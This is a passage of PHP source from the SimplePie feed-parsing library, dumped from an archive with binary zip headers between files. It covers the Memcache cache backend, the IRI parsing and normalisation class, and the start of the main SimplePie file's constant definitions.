item */ protected static function prepare_simplepie_object_for_cache($data) { $items = $data->get_items(); $items_by_id = array(); if (!empty($items)) { foreach ($items as $item) { $items_by_id[$item->get_id()] = $item; } if (count($items_by_id) !== count($items)) { $items_by_id = array(); foreach ($items as $item) { $items_by_id[$item->get_id(true)] = $item; } } if (isset($data->data['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['feed'][0])) { $channel =& $data->data['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['feed'][0]; } elseif (isset($data->data['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['feed'][0])) { $channel =& $data->data['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['feed'][0]; } elseif (isset($data->data['child'][SIMPLEPIE_NAMESPACE_RDF]['RDF'][0])) { $channel =& $data->data['child'][SIMPLEPIE_NAMESPACE_RDF]['RDF'][0]; } elseif (isset($data->data['child'][SIMPLEPIE_NAMESPACE_RSS_20]['rss'][0]['child'][SIMPLEPIE_NAMESPACE_RSS_20]['channel'][0])) { $channel =& $data->data['child'][SIMPLEPIE_NAMESPACE_RSS_20]['rss'][0]['child'][SIMPLEPIE_NAMESPACE_RSS_20]['channel'][0]; } else { $channel = null; } if ($channel !== null) { if (isset($channel['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['entry'])) { unset($channel['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['entry']); } if (isset($channel['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['entry'])) { unset($channel['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['entry']); } if (isset($channel['child'][SIMPLEPIE_NAMESPACE_RSS_10]['item'])) { unset($channel['child'][SIMPLEPIE_NAMESPACE_RSS_10]['item']); } if (isset($channel['child'][SIMPLEPIE_NAMESPACE_RSS_090]['item'])) { unset($channel['child'][SIMPLEPIE_NAMESPACE_RSS_090]['item']); } if (isset($channel['child'][SIMPLEPIE_NAMESPACE_RSS_20]['item'])) { unset($channel['child'][SIMPLEPIE_NAMESPACE_RSS_20]['item']); } } if (isset($data->data['items'])) { unset($data->data['items']); } if (isset($data->data['ordered_items'])) { unset($data->data['ordered_items']); } } return array(serialize($data->data), $items_by_id); } } PKÜ�\k8��?vendor/simplepie/simplepie/library/SimplePie/Cache/Memcache.phpnu�[���<?php /** * SimplePie * * A PHP-Based RSS and Atom Feed Framework. * Takes the hard work out of managing a complete RSS/Atom solution. * * Copyright (c) 2004-2012, Ryan Parman, Geoffrey Sneddon, Ryan McCue, and contributors * All rights reserved. * * Redistribution and use in source and binary forms, with or without modification, are * permitted provided that the following conditions are met: * * * Redistributions of source code must retain the above copyright notice, this list of * conditions and the following disclaimer. * * * Redistributions in binary form must reproduce the above copyright notice, this list * of conditions and the following disclaimer in the documentation and/or other materials * provided with the distribution. * * * Neither the name of the SimplePie Team nor the names of its contributors may be used * to endorse or promote products derived from this software without specific prior * written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. * * @package SimplePie * @copyright 2004-2012 Ryan Parman, Geoffrey Sneddon, Ryan McCue * @author Ryan Parman * @author Geoffrey Sneddon * @author Ryan McCue * @link http://simplepie.org/ SimplePie * @license http://www.opensource.org/licenses/bsd-license.php BSD License */ /** * Caches data to memcache * * Registered for URLs with the "memcache" protocol * * For example, `memcache://localhost:11211/?timeout=3600&prefix=sp_` will * connect to memcache on `localhost` on port 11211. All tables will be * prefixed with `sp_` and data will expire after 3600 seconds * * @package SimplePie * @subpackage Caching * @uses Memcache */ class SimplePie_Cache_Memcache implements SimplePie_Cache_Base { /** * Memcache instance * * @var Memcache */ protected $cache; /** * Options * * @var array */ protected $options; /** * Cache name * * @var string */ protected $name; /** * Create a new cache object * * @param string $location Location string (from SimplePie::$cache_location) * @param string $name Unique ID for the cache * @param string $type Either TYPE_FEED for SimplePie data, or TYPE_IMAGE for image data */ public function __construct($location, $name, $type) { $this->options = array( 'host' => '127.0.0.1', 'port' => 11211, 'extras' => array( 'timeout' => 3600, // one hour 'prefix' => 'simplepie_', ), ); $parsed = SimplePie_Cache::parse_URL($location); $this->options['host'] = empty($parsed['host']) ? $this->options['host'] : $parsed['host']; $this->options['port'] = empty($parsed['port']) ? $this->options['port'] : $parsed['port']; $this->options['extras'] = array_merge($this->options['extras'], $parsed['extras']); $this->name = $this->options['extras']['prefix'] . md5("$name:$type"); $this->cache = new Memcache(); $this->cache->addServer($this->options['host'], (int) $this->options['port']); } /** * Save data to the cache * * @param array|SimplePie $data Data to store in the cache. If passed a SimplePie object, only cache the $data property * @return bool Successfulness */ public function save($data) { if ($data instanceof SimplePie) { $data = $data->data; } return $this->cache->set($this->name, serialize($data), MEMCACHE_COMPRESSED, (int) $this->options['extras']['timeout']); } /** * Retrieve the data saved to the cache * * @return array Data for SimplePie::$data */ public function load() { $data = $this->cache->get($this->name); if ($data !== false) { return unserialize($data); } return false; } /** * Retrieve the last modified time for the cache * * @return int Timestamp */ public function mtime() { $data = $this->cache->get($this->name); if ($data !== false) { // essentially ignore the mtime because Memcache expires on it's own return time(); } return false; } /** * Set the last modified time to the current time * * @return bool Success status */ public function touch() { $data = $this->cache->get($this->name); if ($data !== false) { return $this->cache->set($this->name, $data, MEMCACHE_COMPRESSED, (int) $this->duration); } return false; } /** * Remove the cache * * @return bool Success status */ public function unlink() { return $this->cache->delete($this->name, 0); } } PKÜ�\��8L�n�n4vendor/simplepie/simplepie/library/SimplePie/IRI.phpnu�[���<?php /** * SimplePie * * A PHP-Based RSS and Atom Feed Framework. * Takes the hard work out of managing a complete RSS/Atom solution. * * Copyright (c) 2004-2012, Ryan Parman, Geoffrey Sneddon, Ryan McCue, and contributors * All rights reserved. * * Redistribution and use in source and binary forms, with or without modification, are * permitted provided that the following conditions are met: * * * Redistributions of source code must retain the above copyright notice, this list of * conditions and the following disclaimer. * * * Redistributions in binary form must reproduce the above copyright notice, this list * of conditions and the following disclaimer in the documentation and/or other materials * provided with the distribution. * * * Neither the name of the SimplePie Team nor the names of its contributors may be used * to endorse or promote products derived from this software without specific prior * written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. * * @package SimplePie * @copyright 2004-2012 Ryan Parman, Geoffrey Sneddon, Ryan McCue * @author Ryan Parman * @author Geoffrey Sneddon * @author Ryan McCue * @link http://simplepie.org/ SimplePie * @license http://www.opensource.org/licenses/bsd-license.php BSD License */ /** * IRI parser/serialiser/normaliser * * @package SimplePie * @subpackage HTTP * @author Geoffrey Sneddon * @author Steve Minutillo * @author Ryan McCue * @copyright 2007-2012 Geoffrey Sneddon, Steve Minutillo, Ryan McCue * @license http://www.opensource.org/licenses/bsd-license.php */ class SimplePie_IRI { /** * Scheme * * @var string */ protected $scheme = null; /** * User Information * * @var string */ protected $iuserinfo = null; /** * ihost * * @var string */ protected $ihost = null; /** * Port * * @var string */ protected $port = null; /** * ipath * * @var string */ protected $ipath = ''; /** * iquery * * @var string */ protected $iquery = null; /** * ifragment * * @var string */ protected $ifragment = null; /** * Normalization database * * Each key is the scheme, each value is an array with each key as the IRI * part and value as the default value for that part. */ protected $normalization = array( 'acap' => array( 'port' => 674 ), 'dict' => array( 'port' => 2628 ), 'file' => array( 'ihost' => 'localhost' ), 'http' => array( 'port' => 80, 'ipath' => '/' ), 'https' => array( 'port' => 443, 'ipath' => '/' ), ); /** * Return the entire IRI when you try and read the object as a string * * @return string */ public function __toString() { return $this->get_iri(); } /** * Overload __set() to provide access via properties * * @param string $name Property name * @param mixed $value Property value */ public function __set($name, $value) { if (method_exists($this, 'set_' . $name)) { call_user_func(array($this, 'set_' . $name), $value); } elseif ( $name === 'iauthority' || $name === 'iuserinfo' || $name === 'ihost' || $name === 'ipath' || $name === 'iquery' || $name === 'ifragment' ) { call_user_func(array($this, 'set_' . substr($name, 1)), $value); } } /** * Overload __get() to provide access via properties * * @param string $name Property name * @return mixed */ public function __get($name) { // isset() returns false for null, we don't want to do that // Also why we use array_key_exists below instead of isset() $props = get_object_vars($this); if ( $name === 'iri' || $name === 'uri' || $name === 'iauthority' || $name === 'authority' ) { $return = $this->{"get_$name"}(); } elseif (array_key_exists($name, $props)) { $return = $this->$name; } // host -> ihost elseif (($prop = 'i' . $name) && array_key_exists($prop, $props)) { $name = $prop; $return = $this->$prop; } // ischeme -> scheme elseif (($prop = substr($name, 1)) && array_key_exists($prop, $props)) { $name = $prop; $return = $this->$prop; } else { trigger_error('Undefined property: ' . get_class($this) . '::' . $name, E_USER_NOTICE); $return = null; } if ($return === null && isset($this->normalization[$this->scheme][$name])) { return $this->normalization[$this->scheme][$name]; } else { return $return; } } /** * Overload __isset() to provide access via properties * * @param string $name Property name * @return bool */ public function __isset($name) { if (method_exists($this, 'get_' . $name) || isset($this->$name)) { return true; } else { return false; } } /** * Overload __unset() to provide access via properties * * @param string $name Property name */ public function __unset($name) { if (method_exists($this, 'set_' . $name)) { call_user_func(array($this, 'set_' . $name), ''); } } /** * Create a new IRI object, from a specified string * * @param string $iri */ public function __construct($iri = null) { $this->set_iri($iri); } /** * Create a new IRI object by resolving a relative IRI * * Returns false if $base is not absolute, otherwise an IRI. * * @param IRI|string $base (Absolute) Base IRI * @param IRI|string $relative Relative IRI * @return IRI|false */ public static function absolutize($base, $relative) { if (!($relative instanceof SimplePie_IRI)) { $relative = new SimplePie_IRI($relative); } if (!$relative->is_valid()) { return false; } elseif ($relative->scheme !== null) { return clone $relative; } else { if (!($base instanceof SimplePie_IRI)) { $base = new SimplePie_IRI($base); } if ($base->scheme !== null && $base->is_valid()) { if ($relative->get_iri() !== '') { if ($relative->iuserinfo !== null || $relative->ihost !== null || $relative->port !== null) { $target = clone $relative; $target->scheme = $base->scheme; } else { $target = new SimplePie_IRI; $target->scheme = $base->scheme; $target->iuserinfo = $base->iuserinfo; $target->ihost = $base->ihost; $target->port = $base->port; if ($relative->ipath !== '') { if ($relative->ipath[0] === '/') { $target->ipath = $relative->ipath; } elseif (($base->iuserinfo !== null || $base->ihost !== null || $base->port !== null) && $base->ipath === '') { $target->ipath = '/' . $relative->ipath; } elseif (($last_segment = strrpos($base->ipath, '/')) !== false) { $target->ipath = substr($base->ipath, 0, $last_segment + 1) . $relative->ipath; } else { $target->ipath = $relative->ipath; } $target->ipath = $target->remove_dot_segments($target->ipath); $target->iquery = $relative->iquery; } else { $target->ipath = $base->ipath; if ($relative->iquery !== null) { $target->iquery = $relative->iquery; } elseif ($base->iquery !== null) { $target->iquery = $base->iquery; } } $target->ifragment = $relative->ifragment; } } else { $target = clone $base; $target->ifragment = null; } $target->scheme_normalization(); return $target; } else { return false; } } } /** * Parse an IRI into scheme/authority/path/query/fragment segments * * @param string $iri * @return array */ protected function parse_iri($iri) { $iri = trim($iri, "\x20\x09\x0A\x0C\x0D"); if (preg_match('/^((?P<scheme>[^:\/?#]+):)?(\/\/(?P<authority>[^\/?#]*))?(?P<path>[^?#]*)(\?(?P<query>[^#]*))?(#(?P<fragment>.*))?$/', $iri, $match)) { if ($match[1] === '') { $match['scheme'] = null; } if (!isset($match[3]) || $match[3] === '') { $match['authority'] = null; } if (!isset($match[5])) { $match['path'] = ''; } if (!isset($match[6]) || $match[6] === '') { $match['query'] = null; } if (!isset($match[8]) || $match[8] === '') { $match['fragment'] = null; } return $match; } else { // This can occur when a paragraph is accidentally parsed as a URI return false; } } /** * Remove dot segments from a path * * @param string $input * @return string */ protected function remove_dot_segments($input) { $output = ''; while (strpos($input, './') !== false || strpos($input, '/.') !== false || $input === '.' || $input === '..') { // A: If the input buffer begins with a prefix of "../" or "./", then remove that prefix from the input buffer; otherwise, if (strpos($input, '../') === 0) { $input = substr($input, 3); } elseif (strpos($input, './') === 0) { $input = substr($input, 2); } // B: if the input buffer begins with a prefix of "/./" or "/.", where "." is a complete path segment, then replace that prefix with "/" in the input buffer; otherwise, elseif (strpos($input, '/./') === 0) { $input = substr($input, 2); } elseif ($input === '/.') { $input = '/'; } // C: if the input buffer begins with a prefix of "/../" or "/..", where ".." is a complete path segment, then replace that prefix with "/" in the input buffer and remove the last segment and its preceding "/" (if any) from the output buffer; otherwise, elseif (strpos($input, '/../') === 0) { $input = substr($input, 3); $output = substr_replace($output, '', strrpos($output, '/')); } elseif ($input === '/..') { $input = '/'; $output = substr_replace($output, '', strrpos($output, '/')); } // D: if the input buffer consists only of "." or "..", then remove that from the input buffer; otherwise, elseif ($input === '.' || $input === '..') { $input = ''; } // E: move the first path segment in the input buffer to the end of the output buffer, including the initial "/" character (if any) and any subsequent characters up to, but not including, the next "/" character or the end of the input buffer elseif (($pos = strpos($input, '/', 1)) !== false) { $output .= substr($input, 0, $pos); $input = substr_replace($input, '', 0, $pos); } else { $output .= $input; $input = ''; } } return $output . $input; } /** * Replace invalid character with percent encoding * * @param string $string Input string * @param string $extra_chars Valid characters not in iunreserved or * iprivate (this is ASCII-only) * @param bool $iprivate Allow iprivate * @return string */ protected function replace_invalid_with_pct_encoding($string, $extra_chars, $iprivate = false) { // Normalize as many pct-encoded sections as possible $string = preg_replace_callback('/(?:%[A-Fa-f0-9]{2})+/', array($this, 'remove_iunreserved_percent_encoded'), $string); // Replace invalid percent characters $string = preg_replace('/%(?![A-Fa-f0-9]{2})/', '%25', $string); // Add unreserved and % to $extra_chars (the latter is safe because all // pct-encoded sections are now valid). $extra_chars .= 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-._~%'; // Now replace any bytes that aren't allowed with their pct-encoded versions $position = 0; $strlen = strlen($string); while (($position += strspn($string, $extra_chars, $position)) < $strlen) { $value = ord($string[$position]); // Start position $start = $position; // By default we are valid $valid = true; // No one byte sequences are valid due to the while. // Two byte sequence: if (($value & 0xE0) === 0xC0) { $character = ($value & 0x1F) << 6; $length = 2; $remaining = 1; } // Three byte sequence: elseif (($value & 0xF0) === 0xE0) { $character = ($value & 0x0F) << 12; $length = 3; $remaining = 2; } // Four byte sequence: elseif (($value & 0xF8) === 0xF0) { $character = ($value & 0x07) << 18; $length = 4; $remaining = 3; } // Invalid byte: else { $valid = false; $length = 1; $remaining = 0; } if ($remaining) { if ($position + $length <= $strlen) { for ($position++; $remaining; $position++) { $value = ord($string[$position]); // Check that the byte is valid, then add it to the character: if (($value & 0xC0) === 0x80) { $character |= ($value & 0x3F) << (--$remaining * 6); } // If it is invalid, count the sequence as invalid and reprocess the current byte: else { $valid = false; $position--; break; } } } else { $position = $strlen - 1; $valid = false; } } // Percent encode anything invalid or not in ucschar if ( // Invalid sequences !$valid // Non-shortest form sequences are invalid || $length > 1 && $character <= 0x7F || $length > 2 && $character <= 0x7FF || $length > 3 && $character <= 0xFFFF // Outside of range of ucschar codepoints // Noncharacters || ($character & 0xFFFE) === 0xFFFE || $character >= 0xFDD0 && $character <= 0xFDEF || ( // Everything else not in ucschar $character > 0xD7FF && $character < 0xF900 || $character < 0xA0 || $character > 0xEFFFD ) && ( // Everything not in iprivate, if it applies !$iprivate || $character < 0xE000 || $character > 0x10FFFD ) ) { // If we were a character, pretend we weren't, but rather an error. if ($valid) $position--; for ($j = $start; $j <= $position; $j++) { $string = substr_replace($string, sprintf('%%%02X', ord($string[$j])), $j, 1); $j += 2; $position += 2; $strlen += 2; } } } return $string; } /** * Callback function for preg_replace_callback. * * Removes sequences of percent encoded bytes that represent UTF-8 * encoded characters in iunreserved * * @param array $match PCRE match * @return string Replacement */ protected function remove_iunreserved_percent_encoded($match) { // As we just have valid percent encoded sequences we can just explode // and ignore the first member of the returned array (an empty string). $bytes = explode('%', $match[0]); // Initialize the new string (this is what will be returned) and that // there are no bytes remaining in the current sequence (unsurprising // at the first byte!). $string = ''; $remaining = 0; // Loop over each and every byte, and set $value to its value for ($i = 1, $len = count($bytes); $i < $len; $i++) { $value = hexdec($bytes[$i]); // If we're the first byte of sequence: if (!$remaining) { // Start position $start = $i; // By default we are valid $valid = true; // One byte sequence: if ($value <= 0x7F) { $character = $value; $length = 1; } // Two byte sequence: elseif (($value & 0xE0) === 0xC0) { $character = ($value & 0x1F) << 6; $length = 2; $remaining = 1; } // Three byte sequence: elseif (($value & 0xF0) === 0xE0) { $character = ($value & 0x0F) << 12; $length = 3; $remaining = 2; } // Four byte sequence: elseif (($value & 0xF8) === 0xF0) { $character = ($value & 0x07) << 18; $length = 4; $remaining = 3; } // Invalid byte: else { $valid = false; $remaining = 0; } } // Continuation byte: else { // Check that the byte is valid, then add it to the character: if (($value & 0xC0) === 0x80) { $remaining--; $character |= ($value & 0x3F) << ($remaining * 6); } // If it is invalid, count the sequence as invalid and reprocess the current byte as the start of a sequence: else { $valid = false; $remaining = 0; $i--; } } // If we've reached the end of the current byte sequence, append it to Unicode::$data if (!$remaining) { // Percent encode anything invalid or not in iunreserved if ( // Invalid sequences !$valid // Non-shortest form sequences are invalid || $length > 1 && $character <= 0x7F || $length > 2 && $character <= 0x7FF || $length > 3 && $character <= 0xFFFF // Outside of range of iunreserved codepoints || $character < 0x2D || $character > 0xEFFFD // Noncharacters || ($character & 0xFFFE) === 0xFFFE || $character >= 0xFDD0 && $character <= 0xFDEF // Everything else not in iunreserved (this is all BMP) || $character === 0x2F || $character > 0x39 && $character < 0x41 || $character > 0x5A && $character < 0x61 || $character > 0x7A && $character < 0x7E || $character > 0x7E && $character < 0xA0 || $character > 0xD7FF && $character < 0xF900 ) { for ($j = $start; $j <= $i; $j++) { $string .= '%' . strtoupper($bytes[$j]); } } else { for ($j = $start; $j <= $i; $j++) { $string .= chr(hexdec($bytes[$j])); } } } } // If we have any bytes left over they are invalid (i.e., we are // mid-way through a multi-byte sequence) if ($remaining) { for ($j = $start; $j < $len; $j++) { $string .= '%' . strtoupper($bytes[$j]); } } return $string; } protected function scheme_normalization() { if (isset($this->normalization[$this->scheme]['iuserinfo']) && $this->iuserinfo === $this->normalization[$this->scheme]['iuserinfo']) { $this->iuserinfo = null; } if (isset($this->normalization[$this->scheme]['ihost']) && $this->ihost === $this->normalization[$this->scheme]['ihost']) { $this->ihost = null; } if (isset($this->normalization[$this->scheme]['port']) && $this->port === $this->normalization[$this->scheme]['port']) { $this->port = null; } if (isset($this->normalization[$this->scheme]['ipath']) && $this->ipath === $this->normalization[$this->scheme]['ipath']) { $this->ipath = ''; } if (isset($this->normalization[$this->scheme]['iquery']) && $this->iquery === $this->normalization[$this->scheme]['iquery']) { $this->iquery = null; } if (isset($this->normalization[$this->scheme]['ifragment']) && $this->ifragment === $this->normalization[$this->scheme]['ifragment']) { $this->ifragment = null; } } /** * Check if the object represents a valid IRI. This needs to be done on each * call as some things change depending on another part of the IRI. * * @return bool */ public function is_valid() { $isauthority = $this->iuserinfo !== null || $this->ihost !== null || $this->port !== null; if ($this->ipath !== '' && ( $isauthority && ( $this->ipath[0] !== '/' || substr($this->ipath, 0, 2) === '//' ) || ( $this->scheme === null && !$isauthority && strpos($this->ipath, ':') !== false && (strpos($this->ipath, '/') === false ? true : strpos($this->ipath, ':') < strpos($this->ipath, '/')) ) ) ) { return false; } return true; } /** * Set the entire IRI. Returns true on success, false on failure (if there * are any invalid characters). * * @param string $iri * @return bool */ public function set_iri($iri) { static $cache; if (!$cache) { $cache = array(); } if ($iri === null) { return true; } elseif (isset($cache[$iri])) { list($this->scheme, $this->iuserinfo, $this->ihost, $this->port, $this->ipath, $this->iquery, $this->ifragment, $return) = $cache[$iri]; return $return; } else { $parsed = $this->parse_iri((string) $iri); if (!$parsed) { return false; } $return = $this->set_scheme($parsed['scheme']) && $this->set_authority($parsed['authority']) && $this->set_path($parsed['path']) && $this->set_query($parsed['query']) && $this->set_fragment($parsed['fragment']); $cache[$iri] = array($this->scheme, $this->iuserinfo, $this->ihost, $this->port, $this->ipath, $this->iquery, $this->ifragment, $return); return $return; } } /** * Set the scheme. Returns true on success, false on failure (if there are * any invalid characters). * * @param string $scheme * @return bool */ public function set_scheme($scheme) { if ($scheme === null) { $this->scheme = null; } elseif (!preg_match('/^[A-Za-z][0-9A-Za-z+\-.]*$/', $scheme)) { $this->scheme = null; return false; } else { $this->scheme = strtolower($scheme); } return true; } /** * Set the authority. Returns true on success, false on failure (if there are * any invalid characters). * * @param string $authority * @return bool */ public function set_authority($authority) { static $cache; if (!$cache) $cache = array(); if ($authority === null) { $this->iuserinfo = null; $this->ihost = null; $this->port = null; return true; } elseif (isset($cache[$authority])) { list($this->iuserinfo, $this->ihost, $this->port, $return) = $cache[$authority]; return $return; } else { $remaining = $authority; if (($iuserinfo_end = strrpos($remaining, '@')) !== false) { $iuserinfo = substr($remaining, 0, $iuserinfo_end); $remaining = substr($remaining, $iuserinfo_end + 1); } else { $iuserinfo = null; } if (($port_start = strpos($remaining, ':', strpos($remaining, ']'))) !== false) { if (($port = substr($remaining, $port_start + 1)) === false) { $port = null; } $remaining = substr($remaining, 0, $port_start); } else { $port = null; } $return = $this->set_userinfo($iuserinfo) && $this->set_host($remaining) && $this->set_port($port); $cache[$authority] = array($this->iuserinfo, $this->ihost, $this->port, $return); return $return; } } /** * Set the iuserinfo. * * @param string $iuserinfo * @return bool */ public function set_userinfo($iuserinfo) { if ($iuserinfo === null) { $this->iuserinfo = null; } else { $this->iuserinfo = $this->replace_invalid_with_pct_encoding($iuserinfo, '!$&\'()*+,;=:'); $this->scheme_normalization(); } return true; } /** * Set the ihost. Returns true on success, false on failure (if there are * any invalid characters). * * @param string $ihost * @return bool */ public function set_host($ihost) { if ($ihost === null) { $this->ihost = null; return true; } elseif (substr($ihost, 0, 1) === '[' && substr($ihost, -1) === ']') { if (SimplePie_Net_IPv6::check_ipv6(substr($ihost, 1, -1))) { $this->ihost = '[' . SimplePie_Net_IPv6::compress(substr($ihost, 1, -1)) . ']'; } else { $this->ihost = null; return false; } } else { $ihost = $this->replace_invalid_with_pct_encoding($ihost, '!$&\'()*+,;='); // Lowercase, but ignore pct-encoded sections (as they should // remain uppercase). This must be done after the previous step // as that can add unescaped characters. $position = 0; $strlen = strlen($ihost); while (($position += strcspn($ihost, 'ABCDEFGHIJKLMNOPQRSTUVWXYZ%', $position)) < $strlen) { if ($ihost[$position] === '%') { $position += 3; } else { $ihost[$position] = strtolower($ihost[$position]); $position++; } } $this->ihost = $ihost; } $this->scheme_normalization(); return true; } /** * Set the port. Returns true on success, false on failure (if there are * any invalid characters). * * @param string $port * @return bool */ public function set_port($port) { if ($port === null) { $this->port = null; return true; } elseif (strspn($port, '0123456789') === strlen($port)) { $this->port = (int) $port; $this->scheme_normalization(); return true; } else { $this->port = null; return false; } } /** * Set the ipath. * * @param string $ipath * @return bool */ public function set_path($ipath) { static $cache; if (!$cache) { $cache = array(); } $ipath = (string) $ipath; if (isset($cache[$ipath])) { $this->ipath = $cache[$ipath][(int) ($this->scheme !== null)]; } else { $valid = $this->replace_invalid_with_pct_encoding($ipath, '!$&\'()*+,;=@:/'); $removed = $this->remove_dot_segments($valid); $cache[$ipath] = array($valid, $removed); $this->ipath = ($this->scheme !== null) ? $removed : $valid; } $this->scheme_normalization(); return true; } /** * Set the iquery. * * @param string $iquery * @return bool */ public function set_query($iquery) { if ($iquery === null) { $this->iquery = null; } else { $this->iquery = $this->replace_invalid_with_pct_encoding($iquery, '!$&\'()*+,;=:@/?', true); $this->scheme_normalization(); } return true; } /** * Set the ifragment. * * @param string $ifragment * @return bool */ public function set_fragment($ifragment) { if ($ifragment === null) { $this->ifragment = null; } else { $this->ifragment = $this->replace_invalid_with_pct_encoding($ifragment, '!$&\'()*+,;=:@/?'); $this->scheme_normalization(); } return true; } /** * Convert an IRI to a URI (or parts thereof) * * @return string */ public function to_uri($string) { static $non_ascii; if (!$non_ascii) { $non_ascii = implode('', range("\x80", "\xFF")); } $position = 0; $strlen = strlen($string); while (($position += strcspn($string, $non_ascii, $position)) < $strlen) { $string = substr_replace($string, sprintf('%%%02X', ord($string[$position])), $position, 1); $position += 3; $strlen += 2; } return $string; } /** * Get the complete IRI * * @return string */ public function get_iri() { if (!$this->is_valid()) { return false; } $iri = ''; if ($this->scheme !== null) { $iri .= $this->scheme . ':'; } if (($iauthority = $this->get_iauthority()) !== null) { $iri .= '//' . $iauthority; } if ($this->ipath !== '') { $iri .= $this->ipath; } elseif (!empty($this->normalization[$this->scheme]['ipath']) && $iauthority !== null && $iauthority !== '') { $iri .= $this->normalization[$this->scheme]['ipath']; } if ($this->iquery !== null) { $iri .= '?' . $this->iquery; } if ($this->ifragment !== null) { $iri .= '#' . $this->ifragment; } return $iri; } /** * Get the complete URI * * @return string */ public function get_uri() { return $this->to_uri($this->get_iri()); } /** * Get the complete iauthority * * @return string */ protected function get_iauthority() { if ($this->iuserinfo !== null || $this->ihost !== null || $this->port !== null) { $iauthority = ''; if ($this->iuserinfo !== null) { $iauthority .= $this->iuserinfo . '@'; } if ($this->ihost !== null) { $iauthority .= $this->ihost; } if ($this->port !== null) { $iauthority .= ':' . $this->port; } return $iauthority; } else { return null; } } /** * Get the complete authority * * @return string */ protected function get_authority() { $iauthority = $this->get_iauthority(); if (is_string($iauthority)) return $this->to_uri($iauthority); else return $iauthority; } } PKÜ�\���=X=X0vendor/simplepie/simplepie/library/SimplePie.phpnu�[���<?php /** * SimplePie * * A PHP-Based RSS and Atom Feed Framework. * Takes the hard work out of managing a complete RSS/Atom solution. * * Copyright (c) 2004-2012, Ryan Parman, Geoffrey Sneddon, Ryan McCue, and contributors * All rights reserved. * * Redistribution and use in source and binary forms, with or without modification, are * permitted provided that the following conditions are met: * * * Redistributions of source code must retain the above copyright notice, this list of * conditions and the following disclaimer. * * * Redistributions in binary form must reproduce the above copyright notice, this list * of conditions and the following disclaimer in the documentation and/or other materials * provided with the distribution. * * * Neither the name of the SimplePie Team nor the names of its contributors may be used * to endorse or promote products derived from this software without specific prior * written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. * * @package SimplePie * @version 1.3.3 * @copyright 2004-2012 Ryan Parman, Geoffrey Sneddon, Ryan McCue * @author Ryan Parman * @author Geoffrey Sneddon * @author Ryan McCue * @link http://simplepie.org/ SimplePie * @license http://www.opensource.org/licenses/bsd-license.php BSD License */ /** * SimplePie Name */ define('SIMPLEPIE_NAME', 'SimplePie'); /** * SimplePie Version */ define('SIMPLEPIE_VERSION', '1.3.3'); /** * SimplePie Build * @todo Hardcode for release (there's no need to have to call SimplePie_Misc::get_build() only every load of simplepie.inc) */ define('SIMPLEPIE_BUILD', gmdate('YmdHis', SimplePie_Misc::get_build())); /** * SimplePie Website URL */ define('SIMPLEPIE_URL', 'http://simplepie.org'); /** * SimplePie Useragent * @see SimplePie::set_useragent() */ define('SIMPLEPIE_USERAGENT', SIMPLEPIE_NAME . '/' . SIMPLEPIE_VERSION . ' (Feed Parser; ' . SIMPLEPIE_URL . '; Allow like Gecko) Build/' . SIMPLEPIE_BUILD); /** * SimplePie Linkback */ define('SIMPLEPIE_LINKBACK', '<a href="' . 